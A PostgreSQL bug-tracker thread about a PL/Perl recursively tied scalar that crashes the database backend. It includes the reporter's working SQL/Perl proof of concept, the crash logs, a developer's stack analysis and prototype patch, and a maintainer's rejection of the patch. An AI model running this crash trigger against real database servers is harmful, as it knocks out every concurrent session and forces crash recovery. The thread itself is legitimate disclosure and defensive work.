BUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend
The following bug has been logged on the website:
Bug reference: 19601
Logged by: Yuelin Wang
Email address: 1217816127@qq.com
PostgreSQL version: 19beta2
Operating system: Linux (Ubuntu 24.04, x86_64)
Description:
### Summary
plperl_to_bool() in bool_plperl.c calls SvTRUE(in) directly on the SV
returned by a plperl function declared to TRANSFORM FOR TYPE bool, with no
recursion depth limit. A plperl function can return a tied scalar whose
FETCH handler ties and returns a brand new tied scalar every time it is
dereferenced, causing Perl's magic-get resolution inside SvTRUE to recurse
without bound and exhaust the C stack.
CWE: CWE-674. Severity: Medium.
### PoC
```sql
CREATE EXTENSION plperl;
CREATE EXTENSION bool_plperl;
CREATE FUNCTION perl_tie_recurse() RETURNS bool
TRANSFORM FOR TYPE bool
LANGUAGE plperl
AS $perl$
package RecurTie;
our $depth = 0;
sub TIESCALAR { return bless {}, shift; }
sub FETCH { $depth++; my $x; tie $x, 'RecurTie'; return $x; }
package main;
tie my $y, 'RecurTie';
return $y;
$perl$;
SELECT perl_tie_recurse();
```
### Result
Real captured output from the independent verification run:
```
psql:/tmp/poc.sql:13: server closed the connection unexpectedly
This probably means the server terminated abnormally
before or while processing the request.
psql:/tmp/poc.sql:13: error: connection to server was lost
PSQL EXIT: 2
Server log:
LOG: client backend (PID 382422) was terminated by signal 11: Segmentation
fault
DETAIL: Failed process was running: SELECT perl_tie_recurse();
LOG: terminating any other active server processes
LOG: all server processes terminated; reinitializing
LOG: database system was interrupted; last known up at 2026-08-01 17:22:47
+08
LOG: database system was not properly shut down; automatic recovery in
progress
LOG: redo starts at 0/01790190
LOG: redo done at 0/017AEA10
LOG: checkpoint starting: end-of-recovery fast wait
LOG: checkpoint complete: end-of-recovery fast wait
LOG: database system is ready to accept connections
```
### Impact
Any database role with CREATE privilege and USAGE on the trusted plperl
language can define a bool_plperl transform function that crashes the
serving backend with SIGSEGV, forcing the postmaster to terminate and
restart every other concurrent backend on the instance and perform crash
recovery.
Hi,Yuelin!
Thanks for the report. I can reproduce the SIGSEGV on current master
(with --with-perl).
The crash is not in bool_plperl's SvTRUE(), and it is not in the
newSVsv(POPs) that copies the PL/Perl return value. Those sites are
never reached. The reporter's PoC uses TRANSFORM FOR TYPE bool, but the
same SIGSEGV happens without bool_plperl at all, for example with a plain
```
CREATE FUNCTION perl_tie_recurse_text() RETURNS text
LANGUAGE plperl
AS $$ ... recursive TIESCALAR/FETCH ... return $y; $$;
SELECT perl_tie_recurse_text();
```
So this is a shared PL/Perl call_sv() problem, not a bool transform bug.
The first magic_getpack frame on the crashing path is:
```
#0 Perl_magic_getpack
#1 Perl_mg_get
#2 Perl_leave_adjust_stacks
#3 Perl_pp_leavesub
#4 Perl_runops_standard
#5 Perl_call_sv
#6 plperl_call_perl_func at plperl.c (call_sv of the user CV)
#7 plperl_func_handler
#8 plperl_call_handler
```
Then the same pattern repeats until the C stack is exhausted. A typical
loop on the stack is:
```
leave_adjust_stacks
-> mg_get / magic_getpack
-> call_sv(FETCH)
-> leavesub / leave_adjust_stacks
-> mg_get ...
```
So the unbounded recursion is inside Perl's own return path. When a
subroutine returns a magical SV, leave_adjust_stacks() copies it and
calls SvGETMAGIC(). For a tied scalar that runs FETCH. If FETCH
returns another tied scalar, leave_adjust_stacks() does SvGETMAGIC() on
that result as well, and so on. PL/Perl merely triggers this by doing
call_sv(..., G_SCALAR | G_EVAL) on a user sub that returns such a
value.
I first tried to avoid get-magic only on the PL/Perl side after
call_sv() returns (newSVsv_flags(..., SV_NOSTEAL) plus a later unwrap
in plperl_sv_to_datum()). That cannot help here. call_sv() never
returns. I also tried temporarily replacing PL_ppaddr[OP_LEAVESUB].
That does not affect already-compiled ops, because each OP stores its
op_ppaddr at compile time.
I am attaching a prototype patch along those lines. I am not sure it
is the right long-term fix. It is what I have that stops the SIGSEGV
without rejecting legitimate tied returns, and I am posting it mainly
to show the failure mode and one workable guard. Better approaches are
very welcome.
The idea is to patch OP_LEAVESUB / OP_LEAVESUBLV in the callee CV's op
tree for the duration of call_sv(). The replacement pp function looks
at a scalar-context return value. If it is a tied scalar, it invokes
FETCH itself under check_stack_depth() / CHECK_FOR_INTERRUPTS(),
installs the result without get-magic, and only then falls through to
the original leavesub. The FETCH method's CV is patched the same way
when first reached from that path, so a tied FETCH return hits the same
guard instead of Perl's unbounded leave_adjust_stacks() path.
A plain tied return whose FETCH yields a normal value still works. A
recursively tied return becomes the usual
```
ERROR: stack depth limit exceeded
```
rather than a SIGSEGV. That is the same bound other recursive paths in
the backend use. A hard-coded FETCH iteration limit was considered and
dropped as unnecessary magic.
Rejecting every tied return was considered and rejected. Legitimate
`return $tied` where FETCH produces a plain value is useful and should
keep working. Trying to unwrap only in bool_plperl is too narrow. The
same call_sv() path is shared by all PL/Perl returns.
The guard patches the top-level callee CV for the call_sv(), and any
FETCH CV first reached from that path. Nested helper subs that return
a tied scalar without going through that FETCH path are not patched.
That is the same class of gap as other Perl-internal call sites we do
not wrap. FETCH CVs stay patched after first use. Later leavesub of
those methods still go through the guarded pp, which is intentional.
A regress case based on the reporter's PoC is included in bool_plperl /
bool_plperlu (ok-tie returns true, evil-tie hits the stack-depth ERROR
with max_stack_depth pinned so the HINT is stable). The existing
plperl, bool_plperl, hstore_plperl, and jsonb_plperl tests also pass.
Thoughts?
пн, 3 авг. 2026 г. в 23:12, PG Bug reporting form <noreply@postgresql.org>:
The following bug has been logged on the website:
Bug reference: 19601
Logged by: Yuelin Wang
Email address: 1217816127@qq.com
PostgreSQL version: 19beta2
Operating system: Linux (Ubuntu 24.04, x86_64)
Description:### Summary
plperl_to_bool() in bool_plperl.c calls SvTRUE(in) directly on the SV
returned by a plperl function declared to TRANSFORM FOR TYPE bool, with no
recursion depth limit. A plperl function can return a tied scalar whose
FETCH handler ties and returns a brand new tied scalar every time it is
dereferenced, causing Perl's magic-get resolution inside SvTRUE to recurse
without bound and exhaust the C stack.CWE: CWE-674. Severity: Medium.
### PoC
```sql
CREATE EXTENSION plperl;
CREATE EXTENSION bool_plperl;
CREATE FUNCTION perl_tie_recurse() RETURNS bool
TRANSFORM FOR TYPE bool
LANGUAGE plperl
AS $perl$
package RecurTie;
our $depth = 0;
sub TIESCALAR { return bless {}, shift; }
sub FETCH { $depth++; my $x; tie $x, 'RecurTie'; return $x; }
package main;
tie my $y, 'RecurTie';
return $y;
$perl$;
SELECT perl_tie_recurse();
```### Result
Real captured output from the independent verification run:
```
psql:/tmp/poc.sql:13: server closed the connection unexpectedly
This probably means the server terminated abnormally
before or while processing the request.
psql:/tmp/poc.sql:13: error: connection to server was lost
PSQL EXIT: 2Server log:
LOG: client backend (PID 382422) was terminated by signal 11: Segmentation
fault
DETAIL: Failed process was running: SELECT perl_tie_recurse();
LOG: terminating any other active server processes
LOG: all server processes terminated; reinitializing
LOG: database system was interrupted; last known up at 2026-08-01 17:22:47
+08
LOG: database system was not properly shut down; automatic recovery in
progress
LOG: redo starts at 0/01790190
LOG: redo done at 0/017AEA10
LOG: checkpoint starting: end-of-recovery fast wait
LOG: checkpoint complete: end-of-recovery fast wait
LOG: database system is ready to accept connections
```### Impact
Any database role with CREATE privilege and USAGE on the trusted plperl
language can define a bool_plperl transform function that crashes the
serving backend with SIGSEGV, forcing the postmaster to terminate and
restart every other concurrent backend on the instance and perform crash
recovery.
--
Regards,
Rachitskiy Andrey
Attachments:
0001-BUG-19601-Fix-recursively-tied-Perl-return-values.patchtext/x-patch; charset=US-ASCII; name=0001-BUG-19601-Fix-recursively-tied-Perl-return-values.patchDownload+343-11
Andrey Rachitskiy <pl0h0yp1@gmail.com> writes:
Thanks for the report. I can reproduce the SIGSEGV on current master
(with --with-perl).
I can't get excited about this. A plperl user who wishes to cause
recursion to stack overflow can do so far more simply than what is
proposed here: just write an indefinitely-recursive Perl function
and call it. That recursion will be totally inside libperl, so
we can do nothing about it. The same holds for every other PL
that exposes a general-purpose programming language.
I certainly wouldn't add the amount of code you propose here to close
off just one route to that, even if I trusted the patch which I don't.
(It seems far too much in-bed with details of libperl's innards, and
hence likely to fail on other Perl versions than what you tested.)
regards, tom lane
Tom Lane <tgl@sss.pgh.pa.us> writes:
I can't get excited about this. A plperl user who wishes to cause
recursion to stack overflow can do so far more simply than what is
proposed here: just write an indefinitely-recursive Perl function
and call it. That recursion will be totally inside libperl, so
we can do nothing about it. The same holds for every other PL
that exposes a general-purpose programming language.I certainly wouldn't add the amount of code you propose here to close
off just one route to that, even if I trusted the patch which I don't.
(It seems far too much in-bed with details of libperl's innards, and
hence likely to fail on other Perl versions than what you tested.)
Fair enough.
This is not an attempt to argue for committing that patch.
It was called a prototype in the earlier mail, and it was explicitly noted
that this might not be the right approach.
The main intention was only to demonstrate that this particular path can be
intercepted by reaching into Perl's leave/op mechanics.
You have already explained to me before that this class of failure is not
really a PostgreSQL problem.
Thank you again for that — I should have applied the same reasoning here
sooner.
The report caught attention because it pointed at bool_plperl's SvTRUE() as
the bug.
вт, 4 авг. 2026 г. в 03:01, Tom Lane <tgl@sss.pgh.pa.us>:
Andrey Rachitskiy <pl0h0yp1@gmail.com> writes:
Thanks for the report. I can reproduce the SIGSEGV on current master
(with --with-perl).I can't get excited about this. A plperl user who wishes to cause
recursion to stack overflow can do so far more simply than what is
proposed here: just write an indefinitely-recursive Perl function
and call it. That recursion will be totally inside libperl, so
we can do nothing about it. The same holds for every other PL
that exposes a general-purpose programming language.I certainly wouldn't add the amount of code you propose here to close
off just one route to that, even if I trusted the patch which I don't.
(It seems far too much in-bed with details of libperl's innards, and
hence likely to fail on other Perl versions than what you tested.)regards, tom lane
--
Regards,
Rachitskiy Andrey